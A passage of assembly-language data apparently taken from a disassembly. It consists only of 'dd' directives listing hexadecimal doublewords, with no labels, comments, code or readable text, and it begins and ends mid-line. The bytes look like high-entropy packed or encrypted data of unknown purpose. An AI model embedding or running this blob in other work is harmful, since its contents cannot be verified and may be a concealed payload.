12B27830h, 0A0322F2Bh, 8146D6B0h, 0D100E768h, 0D4A48E18h dd 381B7CDh, 797588B8h, 28172572h, 0CEFBCE6h, 0DA1827ACh dd 953A40h, 0EFD6D2E7h, 0E454668Dh, 98F67000h, 0A6862F01h dd 0DBC700C9h, 0DEA7C530h, 820F1EDFh, 0C1055C2Ah, 0E3CB755h dd 12C090E1h, 7C490AEDh, 9441B3h, 4CCDD56Bh, 920080F8h dd 0BD42D044h, 3F8DE1F7h, 0AA80E358h, 8FEEE60Ah, 1E00B3CBh dd 0CDD7103Ch, 0D93F0Bh, 1A8E723h, 3A224DC7h, 0DCF57001h dd 4602DE58h, 45210BFh, 0A530BEACh, 0E73E1017h, 67271CBBh dd 0EDEBC015h, 0E3094730h, 0B7DA4503h, 82B521B1h, 1138E33Eh dd 11EAAB29h, 7521E4F4h, 2C6F9604h, 0E288F0Ah, 3A70204Ch dd 6478C419h, 2173296Dh, 1D121E4Dh, 41DBD510h, 192ED2Dh dd 0A6405744h, 6D1FB9h, 0EB594234h, 9F1DC7ACh, 0ABEC6000h dd 0FAE14EBAh, 8E0701DFh, 5D74C1F0h, 0D69FE84Fh, 1A5B8900h dd 9A6E4D63h, 0C2670068h, 58C7F9DCh, 0A000598Ch, 4854891h dd 1E1BEA8h, 0E8228F3h, 0DF22686Ch, 44A97A98h, 0CE3A5F00h dd 265BD611h, 0C9020327h, 0D52EFCECh, 0D06DF2B0h, 3DF9D201h dd 0D659B014h, 275ACCh, 33DC053Eh, 0AC41C5A5h, 1B01307Dh dd 0A85B3271h, 45708674h, 779F3C5Ah, 0FFF8817h, 0BBC1E47Bh dd 249953F4h, 7E00FB10h, 0C86DFEA2h, 16DEE526h, 186CEF9h dd 0DB219F78h, 7167C0F3h, 7B00A77Fh, 12F18422h, 1E5C5880h dd 4042FAA4h, 851594CDh, 3401A330h, 17E14D5h, 0E2F89071h dd 129590FDh, 4022583Eh, 53674720h, 623F4D6Eh, 7A4F83D3h dd 0D80C29D6h, 3F9E11C9h, 4985D14h, 0CF581A1Fh, 0A8006DE4h dd 0E091D790h, 0F93DBA4h, 0F460C72Ah, 405EBAEEh, 0FF20A9C5h dd 78003898h, 33F28216h, 15C5F73h, 23800819h, 0F081E6F6h dd 5A3A2CE3h, 472F80BFh, 0A613C7C1h, 0EB3A01D0h, 7659F663h dd 0AE38EC69h, 68A5ED00h, 47C1FCEFh, 0CB65005Bh, 0DFE9A004h dd 1200FA82h, 0E0F1AA7Ch, 50BEA93Eh, 0C2A842h, 33EC645Fh dd 95C5DC43h, 0A2161201h, 35F27444h, 102193E1h, 8446F8h dd 0D81FE8D4h, 2713E6E3h, 0B0329024h, 0FE575F00h, 7BE7B260h dd 555E022Eh, 0F04816FCh, 0A3E81363h, 0A006C12h, 8ABB0BC1h dd 0F4728D7Eh, 841F5B3h, 55EC107Ch, 0BF9200F2h, 60FCE4CDh dd 9172FBh, 4A478B00h, 0E62B0B08h, 94EC0062h, 86EFB663h dd 0E3000A23h, 3A1574B2h, 7172D1h, 0F39C1C18h, 3ED95053h dd 86876A00h, 3C3334F8h, 192C1D48h, 12DC45D3h, 2FC096Fh dd 0AB998C18h, 6C9E3709h, 0C32807E5h, 30881590h, 3156005Fh dd 0FC02FBDCh, 340020F7h, 0E64AD103h, 7D906582h, 7543F075h dd 2DF00F9Fh, 0AAE0637Fh, 13314819h, 7673D004h, 802F3Eh dd 0E8AEB0Fh, 418C4997h, 2D03B100h, 8380C71h, 73F389DCh dd 9300D536h, 0C3C79F57h, 391DA500h, 7022DDDAh, 7C7A797Eh dd 0AB470967h, 2000735Ah, 0A2CAC756h, 0CB488CE4h, 0EADC0080h dd 2FE07764h, 609003F4h, 0E1F30637h, 556292F0h, 2566B01Ch dd 2E826F81h, 20866Ch, 0CE170179h, 22CB241Ch, 4067E19Ah dd 0F0B27098h, 83D6E507h, 0A49012C1h, 288BCEh, 7CD4DB81h dd 8E89CD1Eh, 9C6A5024h, 7F06F128h, 0CAAF4320h, 0EA790011h dd 54F3F840h, 0A50026F2h, 7E6370A8h, 6EFB89h, 4D4B5F1h dd 4069D1E1h, 6FA2D200h, 98436CD3h, 0EC203D8Bh, 5052DF80h dd 0F74C480Dh, 460CAD0Ah, 0EA80E880h, 0A42C1BB3h, 14F4EBBAh dd 0EEA1005Bh, 2B610AD6h, 8500ACC2h, 9B527173h, 0E1C5A2h dd 0A8491595h, 36CC7893h, 0B53E8528h, 7375BF00h, 413FA742h dd 7627099Ah, 501E951h, 0E0DA19B2h, 0A30479D1h, 0B4FB9672h dd 0BAE6CB81h, 0A5A630h, 7648C113h, 4B1D7430h, 0E5E6101h dd 0F43B710Fh, 168660h, 7EB7BC11h, 1850D11Fh, 0B809A700h dd 0DD2FCD31h, 4D8002Ch, 0EC40A1C9h, 0AC0069DEh, 8D2D0FC4h dd 0FB7B217h, 36FFBCF3h, 5774720h, 3B0012E2h, 4F73B4E0h dd 1C53C65h, 250BAF7Ch, 0F8F901A1h, 1B30D05Ah, 0C3CD7820h dd 0FD37008Bh, 0EC81AF21h, 3C0E9179h, 1029A0h, 0DFDD7C0Eh dd 31A50E2Bh, 7B00118Ah, 4D2301CCh, 371B58h, 0AB52135Fh dd 5BB17Eh, 0F64A9464h, 0EA48800Ah, 0F2A89600h, 0FC290E8Fh dd 780F003Eh, 0B094048Ah, 7503C5EBh, 48FD03D0h, 91AA8008h dd 80E000F4h, 0EF28C37Ch, 9D269FBCh, 0B200403Fh, 0B061D6D8h dd 99612BEh, 9D813B9h, 84006FC8h, 0DAA4EA22h, 0D780F301h dd 0FCC47417h, 48902D0h, 0B3E4BE0Bh, 2E18C0C6h, 0F501613Dh dd 0BB259D4Ch, 1460175Bh, 73AA721Ch, 0D18A1E4Eh, 0B60BC3E9h dd 800008F6h, 0E07FD7DFh, 1AE642Eh, 7DD5E26Fh, 706EFC96h dd 2300DCA1h, 4186EC93h, 5043B8Bh, 75F20DFFh, 0FC084F33h dd 4BD5C1DEh, 30CF3F0Fh dd 7A00E080h, 12A281F2h, 5D38711h, 0C60E4C96h, 0C5788032h dd 63001485h, 83655FFDh, 5B308AFh, 2C76D646h, 0E84009Fh dd 231E5292h, 3F73670Bh, 0D7A00C4h, 0E91096Dh, 4C0759F3h dd 1E70C642h, 7D933848h, 0E83FF0A9h, 6200D95Bh, 5A5DEF90h dd 0E7F6FEh, 5BAF276h, 198A1F4Ah, 0B17B5803h, 88E52B3Bh dd 0FABC55A2h, 15020099h, 51CB2584h, 911F950Ah, 7700F660h dd 803CBBCAh, 0F9B20704h, 8085C3D8h, 0E505B50Bh, 46846A1Dh dd 6D00A517h, 3575AF56h, 98906004h, 0C0029382h, 0A56E2E02h dd 0C06C7DE6h, 7CD4447Ch, 2010C19Bh, 0F7E2FFB3h, 0E8C0DEF3h dd 0B40FBD07h, 80735774h, 0AA66172Ah, 0DA220082h, 0E0A43BA3h dd 0A101B556h, 0C9CA6730h, 948E1C38h, 0D656F02h, 0A7F80B09h dd 89F83900h, 0D949E60Fh, 0C1AE14C0h, 63DA0084h, 0E224BAA2h dd 23FB24F9h, 0CA960011h, 0E3C2B21Ah, 55E93C17h, 8D257202h dd 0D04A417Ah, 0E288F840h, 0F7613AF3h, 0DD462C02h, 6C407B3Ch dd 490EEA8Fh, 0FE56279Dh, 15CE1B00h, 98417F32h, 58E94C52h dd 0AC548B03h, 0A01D48F1h, 0E6C0F4CFh, 6D456F9h, 0C0D359D7h dd 93844903h, 1B0340Fh, 5A097D1Eh, 672ECDh, 72A89A0Eh dd 272D0B6Ah, 0E8870611h, 738E00ACh, 7B3F919Dh, 0B1B40038h dd 59834CBEh, 17F63087h, 55ACF5A8h, 1A003C90h, 92149D78h dd 3D72E9h, 8D8A595Dh, 3A497ADAh, 1D15EE01h, 0B0E4AA8h dd 0FEFC75CCh, 7CA33D8Eh, 0E7554480h, 0C23A57DCh, 4B395898h dd 2DA80C6h, 36D62446h, 0CA55C3Eh, 892AEA0Bh, 80C7EA04h dd 0E360E4ECh, 6C72E200h, 0CDDD0614h, 43F74C9Eh, 8DAA614h dd 0A46E8500h, 76FB0C93h, 3C6058h, 7FD3B794h, 3F104E53h dd 369C7E34h, 0E07A58ACh, 9200F91Eh, 87503B9Dh, 70EFCE2h dd 0FB617258h, 1F2B20E5h, 9800BB26h, 2C74E0DBh, 0D97967h dd 35588555h, 3472F557h, 7EFE4600h, 4202EFEBh, 2C5A7981h dd 84E02732h, 0F88CD1h, 10E848BEh, 81F00A9h, 0B2AEBB54h dd 3D1F4FD7h, 0D580899Eh, 34490F33h, 15AF0018h, 2A838D54h dd 6E74FF19h, 0E616D300h, 93E87A0Dh, 1FBE00D5h, 1E5AEA0Ah dd 9F004647h, 4C635B2Bh, 0B7A87Eh, 20ED7A96h, 44681117h dd 3D3F4B12h, 0F61F7C00h, 0AE59Bh, 430D1B98h, 13678060h dd 8700FCF8h, 0CB302538h, 9281ADh, 1D8B06D5h, 61A87A20h dd 4D99E900h, 217E1889h, 0A49100E8h, 35CAFBBEh, 1004292h dd 0BDCE5E37h, 1E31307Bh, 0D8848DFDh, 7C2128EBh, 2BC9201Dh dd 38F4C240h, 2BC1273h, 0B167C31Ah, 0DC60141Eh, 7B00DDD2h dd 7885D842h, 1D241FA8h, 0C081F0ACh, 3117234h, 15017728h dd 8EBE3E8Dh, 1D30107Ch, 8538969Ah, 0A8F75Eh, 60E1AD81h dd 0B4B8D307h, 949B4700h, 0BCDFF3DBh, 167000EEh, 0B9B56C5Eh dd 0A1FBF57h, 5180FCEDh, 0E8C45322h, 75973C20h, 0FDA3EC80h dd 0B1067026h, 5667D500h, 30A877FBh, 78F50060h, 0F4B6071Dh dd 609C6879h, 50E86900h, 741821h, 0FF4CAACBh, 56BC8A6h dd 0D38D458h, 90CC3D3Bh, 2C1DB5E8h, 0A788203h, 3AE715A4h dd 132F007h, 4220CCDEh, 0F449BC00h, 3DD63305h, 0E80F0397h dd 8F329896h, 3B1ED5B0h, 88ACA600h, 12B31DFBh, 4CFD0087h dd 73B90A9Bh, 2F019853h, 0B4092DE9h, 2C3C76h, 1F2323EFh dd 229080B8h, 0FE582C5h, 53829E1h, 9C92F3A5h, 986AF4CCh dd 8C00078h, 0B005A6B2h, 67E8BCE5h, 8ADB3A00h, 0A2BEA9E0h dd 0EE0912DCh, 2D18C812h, 0F496F800h, 6777038Ah, 90600510h dd 80F55E73h, 0D6632978h, 0D9D8100h, 7F383F74h, 933E0095h dd 0F3704DA3h, 0CA002854h, 5B06A5A7h, 78CDE82h, 656EE271h dd 0FEF69087h, 0F0A14509h, 5A0BF4FDh, 0E8528C00h, 482CAC39h dd 0FC100A7h, 28F69437h, 0A31DAD7Ah, 15C0C66Dh, 71A04262h dd 883500Dh, 3700132h, 0FA8AA747h, 0B61C3084h, 4659B27h dd 0A41854h, 0AA86275Bh, 403D9800h, 6E79D773h, 8FB66F3Fh dd 0C0D2C25Eh, 8B3F2F6Dh, 0B9250FE7h, 9FC006C9h, 0C6F39C96h dd 0D7EAF70Fh, 300036DDh, 3F623625h, 0D3B1003Eh, 0A88AE3Ch dd 2E3B48C8h, 0BEC08971h, 0E1A8C081h, 0A1C0A016h, 6412004Bh dd 0D104EF21h, 0C800105Ah, 6CF44FA0h, 7D4B5FEDh, 0E4DC1CC1h dd 93A2C04Dh, 0C9C2E115h, 8F665C00h, 0ED84B592h, 0F601E28h dd 0EA4A40Eh, 7060F898h, 0F4BA42C5h, 47407173h, 0F8988E41h dd 87A2D33Dh, 51673FD2h, 645F1240h, 0B8592CB6h, 0A3CC94B8h dd 2F96C17h, 0B1A685BCh, 0B0808962h, 0A4EAEEB9h, 99343B00h dd 10897903h, 0B0E52462h, 15F580C8h, 71C9E8Fh, 0AE86423Dh dd 0B500F80Eh, 346EEC79h, 0FBEE00C6h, 807E658Dh, 0CA787FB1h dd 5A156600h, 20530CADh, 14EA7B02h, 0C0AE076Eh, 1D67DA00h dd 7E392BFCh, 0C6A080F2h, 65003C34h, 0E7DF4CA0h, 0FC597Ah dd 3BDBAD85h, 7120D417h, 0F22FDE09h, 9C0481A5h, 98603637h dd 0F070F19Eh, 3ED0006Fh, 3938E381h, 24392160h, 1D9F8A16h dd 4C00E06Eh, 0FA5A5CAEh, 0E051C26h, 605B0052h, 104F24FCh dd 891AA800h, 5E4CE28Fh, 0C5620125h, 3EEC7320h, 7D084053h dd 0C0B73CF6h, 0B067EE1Ch, 4BDC76B8h, 4F4017Bh, 0DE7152C3h dd 230D20E0h, 34DE8F07h, 0C1943069h, 9176CCC1h, 0A987B03Ch dd 1A3C52B0h, 2703F078h, 0E5797B32h, 0B070B32Ch, 0BB52BFh dd 88F2CF65h, 0AA4CF9D2h, 34E9400h, 0F1EB497Ch, 6A7E019Ch dd 0CBFF178Eh, 3851713Ch, 40A42108h, 6C5AD81h, 0C102BF7Ch dd 73B69C45h, 8F0C40C9h, 0AE090068h, 0B54333BBh, 0EF750674h dd 0E8C01907h, 4D20A66Ah, 0A0C99035h, 0FB1BE8h, 3AD67CCFh dd 5614A5A3h, 0A6E6F1E2h, 4A658E00h, 0BB9D6E15h, 0B4DB0737h dd 0E0679612h, 6DFA7B8Ch, 686C803h, 0F0F398ABh, 2A4997h dd 3AC0505Bh, 0BED6669Eh, 0DACA7C0Fh, 0FA6CC001h, 5C4536h dd 8D6B0BF0h, 8B567EDCh, 54BAEB09h, 9C6B616Eh, 48E6E7D9h dd 5B11DCh, 0EB2D5729h, 5DFD8E79h, 9BA05F01h, 0FFECAB98h dd 454BF0DFh, 80E09Dh, 3B378BB2h, 5BCD333Ah, 0AF841A0Fh dd 5AE1A0DEh, 0CBC454h, 8BF9DC8Ah, 0AE8C0A72h, 0CA00307Ch dd 4BD8D73Dh, 0B87FA79h, 94A75CBDh, 0D500546Ch, 462CF0A3h dd 4FEE43Fh, 186216F6h, 0EFDCC065h, 0BEEADE7Eh, 779160C0h dd 33E3EAh, 18294AA6h, 769CE55Bh, 1FC89500h, 60719273h dd 86C63EEAh, 0B010D1A5h, 7026E26Bh, 101C33DDh, 0A263F303h dd 7C80F4E7h, 277E01h, 0C34ED1E6h, 547C382Fh, 0E84C2B00h dd 0CAAA9A84h, 92CD010Ch, 0A40F6D4Fh, 544B3082h, 0AD161D72h dd 0DD001420h, 99AF358h, 92325C2Dh, 244D3C50h, 657154h dd 77CA1C70h, 66009747h, 8161F739h, 0EF855EFEh, 41027478h dd 0A0F4AE7Bh, 0E303D840h, 0F05E7500h, 2D2A5C59h, 0C6AC00B4h dd 52B26670h, 1E0078FBh, 93CFD795h, 9D6CF8A1h, 0D90084D0h dd 5E17BF91h, 1CF54ECBh, 637D35h, 0B4CC9A1h, 4500EF2Bh dd 0D5C7BAEAh, 18CCB210h, 893F85C6h, 0B0F8C4BFh, 768C471Eh dd 3D7D2600h, 59C0781h, 0ACBAE55Dh, 0C67C91D4h, 8B1C40BDh dd 93076E3h, 983D0883h, 0B518C752h, 0C212C0DBh, 0A90194ABh dd 0F7F6F508h, 5DFDC185h, 7573E8h, 0A6DB7FA0h, 0C48C3F9Fh dd 4B735E74h, 47B28303h, 0E23798D9h, 97710CC6h, 0B2F558C0h dd 0DF21DACFh, 73C50F90h, 26225980h, 4A745C94h, 0C15E4902h dd 84D518BAh, 8330615Ch dd 63000975h, 30EDDF8Fh, 0A52993h, 5D6599E0h, 1C74F7EBh dd 45DA4703h, 0B0CF305Bh, 78B9E6h, 0E1220986h, 81E92834h dd 57088F00h, 0A22E0C32h, 6B5F01A3h, 85BD9B0Eh, 0A4A0033h dd 0D90B1414h, 3800C187h, 5C534E72h, 0E41E13A8h, 0C2002C8Eh dd 741FDABEh, 787C0022h, 83D3A68Dh, 0EB7145BAh, 0DA0FF37Eh dd 0E0D621CBh, 0B7883890h, 572F3EFAh, 4E324C18h, 0D90108CAh dd 0AF6E7F45h, 7BD0D512h, 0D4154CEDh, 60C96A00h, 0DB6F1F47h dd 0FA5F8700h, 94EE452Ch, 0FDF000A4h, 6A22771Dh, 0DF011B9Dh dd 0DD137446h, 0E0D2F73Eh, 3F43084h, 762E7FA6h, 2F803359h dd 9500D08Ch, 0A413EF32h, 62073Fh, 0D3ADBC93h, 0F8D42123h dd 7300D072h, 446CE26Fh, 74EFE313h, 0EA5C037Ch, 38326D54h dd 588D2CBh, 79077E03h, 156F4A26h, 0A89F4D43h, 0F6E8011h dd 83DE422Ch, 9814A4B2h, 0DD0750F6h, 0A1A2E625h, 56405109h dd 36B3C718h, 0C63910h, 0BAD4D532h, 0EA8769B0h, 0D70EEB00h dd 0CAC70848h, 0C027066Ch, 29140939h, 0C111F442h, 72A6112Dh dd 211EC511h, 2B2508F8h, 11289294h, 0FC216188h, 94D04808h dd 3511144Eh, 6A44702Ah, 7AD64430h, 2D732284h, 513C4442h dd 3720D644h, 36412224h, 0E7F408F9h, 9C6B0211h, 42A28451h dd 0E959110Ch, 223CBE28h, 10443305h, 0CCE100BBh, 3E16FB5Ch dd 8903B896h, 0CF9354F3h, 0A89EDB31h, 7D875Dh, 1F1222A6h dd 3EC620DEh, 76C281Eh, 0D1E87340h, 529FDFh, 87FB7E0Eh dd 139939C4h, 19263800h, 6576CDE0h, 1920068h, 0A649C26Fh dd 0E71CD442h, 0AD407063h, 0E317646Ah, 57C70773h, 204EF144h dd 1B8C5A29h, 0DF89E900h, 326EF69Bh, 0BA71008Bh, 0D0A93070h dd 0EC010D0Ch, 0A7B689C4h, 5BF48719h, 23B2825h, 0EA74049Ch dd 0AC89ACDBh, 646D1CBBh, 0E35CFC40h, 18E9E20h, 25E5B79h dd 2428DEA2h, 403933Ch, 303C88DCh, 526101B1h, 6FB4022Ah dd 150B9EFh, 0D98672F3h, 1FF0E5F8h, 0B001013Eh, 27C7263Ch dd 35642415h, 80487E38h, 96727458h, 3E9442E2h, 5F8168F3h dd 9EE39B3Ch, 0B76A70E6h, 9F00A572h, 0FBD15918h, 0FE90BD3h dd 9CCDE1FDh, 0DA148180h, 0C100D473h, 2A1A12CFh, 3F3AAC29h dd 0B99F2FEEh, 3BF900CDh, 39CBB53Fh, 0D87CB400h, 0F2916307h dd 501000B3h, 66DB9F53h, 60E3B7FCh, 8900AF79h, 0EDEEFFD0h dd 0F2BC8AF6h, 9737009Fh, 2A731CDFh, 0AD00BF90h, 0E40AB39Ch dd 4CF236D0h, 10098B26h, 3C70FF55h, 23997A00h, 0E65E43A9h dd 38A1FC11h, 588E228Ah, 4B40D379h, 0DEC450B5h, 0BE0EBC76h dd 408BE6A6h, 4A7F645Fh, 0E59050BBh, 0FE82FE56h, 49B043h dd 249BC139h, 98A31ADCh, 6383460h, 18D589Dh, 9289993Dh dd 603C512Bh, 6500A5DFh, 15F8B02Dh, 17B7EEh, 8718FC90h dd 16F2C16Ch, 96E35400h, 95560D67h, 0A1C7E7Ch, 9B612837h dd 0B5D880F0h, 107DCBCEh, 60074100h, 31BD4AD5h, 1DED794Ch dd 0C0C82A0Ah, 0F145C736h, 8AEA2312h, 9805894Bh, 0FC0583B6h dd 0C0AB10E0h, 2E0B5EF4h, 7E0094FAh, 0E7237549h, 0F8CBC5AEh dd 32BA00BBh, 2689FAACh, 2038905Ah, 0C58D8050h, 4D21775Ch dd 5DC4013Bh, 0C018541Fh, 7F45F95Bh, 77DA9C80h, 0B2FC071Dh dd 7FBB7831h, 9B37DF80h, 2000529h, 0FC366FECh, 9875DE38h dd 60E10032h, 6B423EFBh, 0CD008351h, 3B1C122h, 9816460Ah dd 3E9B0B7h, 0C710A87Dh, 0BAF0A3EEh, 82006E95h, 1BABE441h dd 7B4531h, 0BB539136h, 0C5D72F71h, 7000B372h, 2EB8552Ah dd 0F631BB4h, 698D2108h, 0C8E75A4Fh, 73B3803Eh, 1B00D6FFh dd 10DFEDA7h, 0AC46CEh, 0EA88981Dh, 9A3B7AD1h, 0F4F3FC00h dd 0DEB15BC9h, 8AC30051h, 8F4607D0h, 6E07C094h, 0CA618E95h dd 5DFAF5A0h, 0D5400345h, 0F87D2192h, 61471488h, 80E43Eh dd 6E2B5202h, 0C63C98h, 9B857E4Fh, 9F8C63B2h, 73551400h dd 91D1FD92h, 3B530068h, 0A8C22BD9h, 0BC7E9A6Eh, 32356F1Ch dd 19CA3180h, 1F3B64C0h, 40F10326h, 7DC5EC25h, 0B0F6857h dd 0DDFA41FBh, 0A35B66C0h, 7EBF37h, 1E30C397h, 8CEDC9EBh dd 4B18DF00h, 7110418Ah, 0AE4200B0h, 0B5BDB8ACh, 8F15CDEBh dd 0DC15B6h, 1F22130Ch, 3A16635h, 9F2FAF3Dh, 10F36F7Eh dd 3315C5A8h, 0BB2C300h, 0D9F8A8E1h, 0AAE801A1h, 0F183EA93h dd 0B89EE04Ah, 97005D79h, 0FCC91E7Fh, 7F8489C2h, 0C653016Ah dd 8FDC11CBh, 0E01AC93Fh, 0B6000B77h, 7C4F1787h, 9DB7F0h dd 40D9F5F4h, 0CA8E44A3h, 79140300h, 0C637C387h, 0BCE50067h dd 86401AA1h, 9900B67Ch, 0F7CAEAC9h, 3DE5321h, 0A65FD03Eh dd 1CF89C0Fh, 7100F137h, 26FFEA27h, 1F67849Eh, 8095F54Eh dd 0D68081B3h, 8D014DBAh, 1DA6C26Eh, 7F609C05h, 0B43D0604h dd 0E4BB699Eh, 8DFB5Ch, 9490B7D9h, 4B996Ah, 71F33238h dd 2D53AF88h, 7029E001h, 0A9CE30FCh, 0A1AC4h, 7B04E676h dd 9DF745BBh, 0F1DB50C0h, 0DC5DB2h, 0D6FABE9Fh, 0A4FE9244h dd 0B0937B00h, 0C5B415A5h, 0AE840474h, 0B88AA6EFh, 93127E2Eh dd 800347Dh, 8E66AC56h, 0F7B800A8h, 8BC67592h, 63041E52h dd 6F238DEh, 725C180h, 19E4E8h, 0A417D17Ah, 5BDDFF7Ch dd 821E0100h, 72813DAFh, 0A3BD28EEh, 1CD00386h, 0EA4E1F97h dd 0F957E2B0h, 66C6231Dh, 6C008F2Ch, 0DB298614h, 21A700B8h dd 205CF7B2h, 66001232h, 31042E92h, 355D881h, 0F6761664h dd 6988C582h, 0E0006FFh, 0AFDCA3C1h, 0FBE0204h, 0CDF30C22h dd 0E900ED2Fh, 0B0FFB803h, 82323000h, 70FE2018h, 0F39A1FC9h dd 0E8F9420Ch, 70696D95h, 1358F0EBh, 0C3A6AC00h, 6F269F91h dd 0F4B000B4h, 0F0CCFE74h, 0B5008B28h, 2F56D038h, 61516Ah dd 0A20FF8Ah, 71D8CC97h, 0D5004EF0h, 0D0F0BBA0h, 9807FB7Bh dd 3D99002Eh, 37760868h, 0A700D365h, 426AAA20h, 784B335Ah dd 1E2100FBh, 2FE89271h, 0DAE8B598h, 6B3F4F0Ch, 282BF881h dd 0F0336Fh, 0CADECCA7h, 3EB1B67h, 35071090h, 510599C6h dd 96A3001Bh, 3DAA3Fh, 0C5EE03FDh, 4109C042h, 1F6F8600h dd 0FE570268h, 0F7B700CEh, 97A47834h, 0FC98F240h, 447C6300h dd 0E552944Fh, 2B6B054h, 0E767FB36h, 0F260D47Bh, 1013A79h dd 0C73DDEA5h, 12FCFD50h, 0D35F0071h, 49E81E6Fh, 0A47A69F5h dd 74DDF11Dh, 0BFA68140h, 91C5657h, 0C4F0B7DAh, 0E0044D09h dd 0F801C029h, 0BD903CD0h, 8E7D5C2Eh, 0A0D3EB00h, 26EABCCAh dd 2624E177h, 0CF1D001Ah, 0BEE41C5Dh, 70F84Ch, 0CD44B8C7h dd 652DFFh, 0C00A6113h, 7B95633Ch, 0C475ED01h, 925F4656h dd 17A8FD20h, 4DB38DCh, 0C0155BDEh, 0D844C324h, 397EEF44h dd 368043F5h, 0DD1695B0h, 0B90062D1h, 9CEC9103h, 8D49CCh dd 0D414B359h, 5465C496h, 973AED05h, 3880CDBEh, 386EF02h dd 5E17E98Bh, 31F03476h, 857111ABh, 0F7637A00h, 0F02A235Fh dd 257240h, 3F69346Dh, 0CD7D87AFh, 0F103A9E2h, 0D52AB11Dh dd 6265CA88h, 79AE8244h, 6F30C00Fh, 41A400DFh, 585932A2h dd 2B07C751h, 0AD88555Fh, 0BEDCC6A0h, 2DDD00EBh, 1002EC7Eh dd 1812596Bh, 0D601B52Ch, 62E4BDF6h, 67FFC0h, 0AEC69D3h dd 5AD1649Ch, 315B7600h, 0E24A7451h, 11DC0975h, 4C01887Eh dd 0CCA5C01Fh, 0B01FBEFh, 0ADBC773Ah, 5080B607h, 7FBFA9B1h dd 0FB01056Dh, 0D63C3A94h, 4AC18159h, 3545CCh, 737AAAA5h dd 146E741Bh, 4CD8F224h dd 0F8EF7002h, 0A0CC60h, 0A582E75Fh, 0ADB2815Bh, 0F42479F4h dd 540F0CF7h, 579B00A6h, 0FE4F59Ch, 6E648E33h, 0D26C4492h dd 0CBF3807Fh, 72000BB6h, 3605686h, 36AF40h, 19DE97D8h dd 0DB6A3589h, 88D4DA00h, 4C4E3879h, 88C6507Ch, 9AD00E0h dd 72D083B8h, 29017E80h, 0F3E2E1B4h, 9040328Dh, 20C05CF5h dd 0F0087CEh, 0DFB09C34h, 0CA7B46h, 98C40DAEh, 819249E7h dd 2E0F9900h, 0BDA635BEh, 6B83034Bh, 5ED01173h, 7FC0559Ah dd 433B0A64h, 853E052Bh, 9002D186h, 15083C60h, 4B800490h dd 5B378B9h, 6E9A6800h, 46731EC9h, 74FC96h, 0E14A6BEBh dd 7A49C802h, 8BED4202h, 48469AD6h, 0A4C1548h, 72F69295h dd 4AAB8088h, 0D8D34560h, 0F01DA003h, 1EB0C3Ch, 39D9DB70h dd 0F0B01AACh, 0B909E1h, 0D3E9AB07h, 1560F6D0h, 67EF006Bh dd 1A24F186h, 4202C041h, 0D32EFB52h, 36856029h, 5E820997h dd 0D400177Fh, 471B08DFh, 84707607h, 0BEA06E29h, 3D739Bh dd 0E3A2074Dh, 15660CE2h, 0D5EA0500h, 5A631052h, 386E00B4h dd 147C5C64h, 167A2EA3h, 0BB7ED109h, 0B7D0005Bh, 1A73C6Fh dd 0B3FD2581h, 241F5C08h, 0C80A5F18h, 0C0DBC05Ah, 0FAAF600h dd 3FBFC7Ah, 47BCC319h, 0A2F0EDBAh, 0BB002FD3h, 0E817BDD4h dd 834626h, 62DEB156h, 93B8B6B0h, 0F600CC90h, 92E249FEh dd 0E83E7Dh, 51698199h, 8277ABCh, 1A0018EEh, 39E1EEA6h dd 1AD9633h, 66179C35h, 40E68780h, 4727F7BCh, 4AEAC820h dd 0CC5C431Fh, 5FB0CEB5h, 0A60096F5h, 1D0F5EF4h, 71A395h dd 0B32B49BFh, 851E28E6h, 37C93007h, 2433EFA8h, 4CEAF0F8h dd 8BEE147Eh, 5304BC22h, 0D0EC2873h, 11DD190h, 0B8213803h dd 82CCEE5Ah, 2BCAC00Dh, 50D7000Fh, 0FA22AADFh, 3C0114EFh dd 0E233E080h, 0C04041B8h, 0B8C31037h, 0A585C54h, 0F26F7F00h dd 6EF00EA1h, 2379B00h, 622D1672h, 248C94E6h, 481E0080h dd 4317EB23h, 7B89B15Ch, 0DB13FA00h, 6B8A385Ch, 0EBC070Ah dd 0BFDE50A6h, 5B00AB32h, 71B79869h, 94CC5012h, 884A486Ch dd 3B5E0C80h, 493948C6h, 0FDB500D2h, 714ACB07h, 1857F66Ah dd 70BC976Fh, 7603954Bh, 58B85228h, 0C45EF1B6h, 0B1B9C880h dd 22ECF75Ah, 29048EE6h, 1FB6244Ah, 8DDE1381h, 35A47450h dd 2FB70046h, 0E24E176Dh, 0BE00A7FAh, 4070831Dh, 0A48E6B42h dd 0BB730388h, 6A347715h, 0B62EBE98h, 667C5503h, 0B8BC58FCh dd 4A733F7h, 0C4B9757Eh, 910080ACh, 542861B5h, 98001086h dd 0C93CF6E2h, 9A4A5024h, 1D350080h, 0B2C63DE5h, 0F418948Bh dd 5A10E405h, 34526B3h, 340B4644h, 9FE0697Dh, 997C0105h dd 0A800CD25h, 7B62D0C3h, 0A8E471h, 5ABB324Ah, 0A1937903h dd 6831E0EDh, 84E30D00h, 45B94E0Fh, 0F4F90051h, 0B2431BBDh dd 8C015058h, 0A5F0EFFh, 0F07B8752h, 1F1D47D7h, 0F680EC2Ch dd 1D4A09Ch, 84AF09A2h, 0F880A752h, 144F2DCCh, 0C592471Eh dd 367CB600h, 0A1ED80h, 84A9A3E1h, 9F825F0Ah, 16240B0Fh dd 3EB2E89h, 0F880C332h, 1EA1F605h, 716BA6h, 0DAF98E4Eh dd 24307729h, 49DDE0C0h, 7CA300B9h, 0A4471326h, 80410A6h dd 9D9DC43h, 55742081h, 3CE63FCCh, 8501235Dh, 9847A529h dd 0E46C022h, 9D7BC000h, 35B91E5Eh, 0BBDA00F3h, 0B52B5D66h dd 6B01D59Bh, 0FC2265C1h, 43F05ACBh, 0E4480021h, 2D62074Fh dd 0FB007D18h, 0EF9799EEh, 5C4C6Fh, 9246B91Ah, 7E3261DBh dd 49BD4100h, 5F449E9Bh, 54AC3D84h, 1521F982h, 0F2E17145h dd 0D099C901h, 9B00DA76h, 0E230E604h, 75F491h, 28AD9C09h dd 7125D9CAh, 0AF512203h, 0D863C82Eh, 213DF7h, 0DA15AB90h dd 1C4AF343h, 8FC8D00h, 4B064F0Fh, 7C250088h, 0C6A6EEEFh dd 0B775E01Eh, 1A023100h, 63221735h, 0D4B13BE6h, 0BEADDB83h dd 51A0A07Eh, 0A700B9FBh, 59210610h, 0E85871Dh, 7E8FC240h dd 4FF7B2C0h, 1C03033Ch, 0BE5A0D5Bh, 570F9850h, 3F4FE61h dd 599BDBE9h, 0BD9AF1DAh, 625AE8E0h, 0BFCEFA00h, 0B6C521B9h dd 22E90088h, 808F939Bh, 0D3004428h, 0AE8BD4E8h, 0B0C39FBh dd 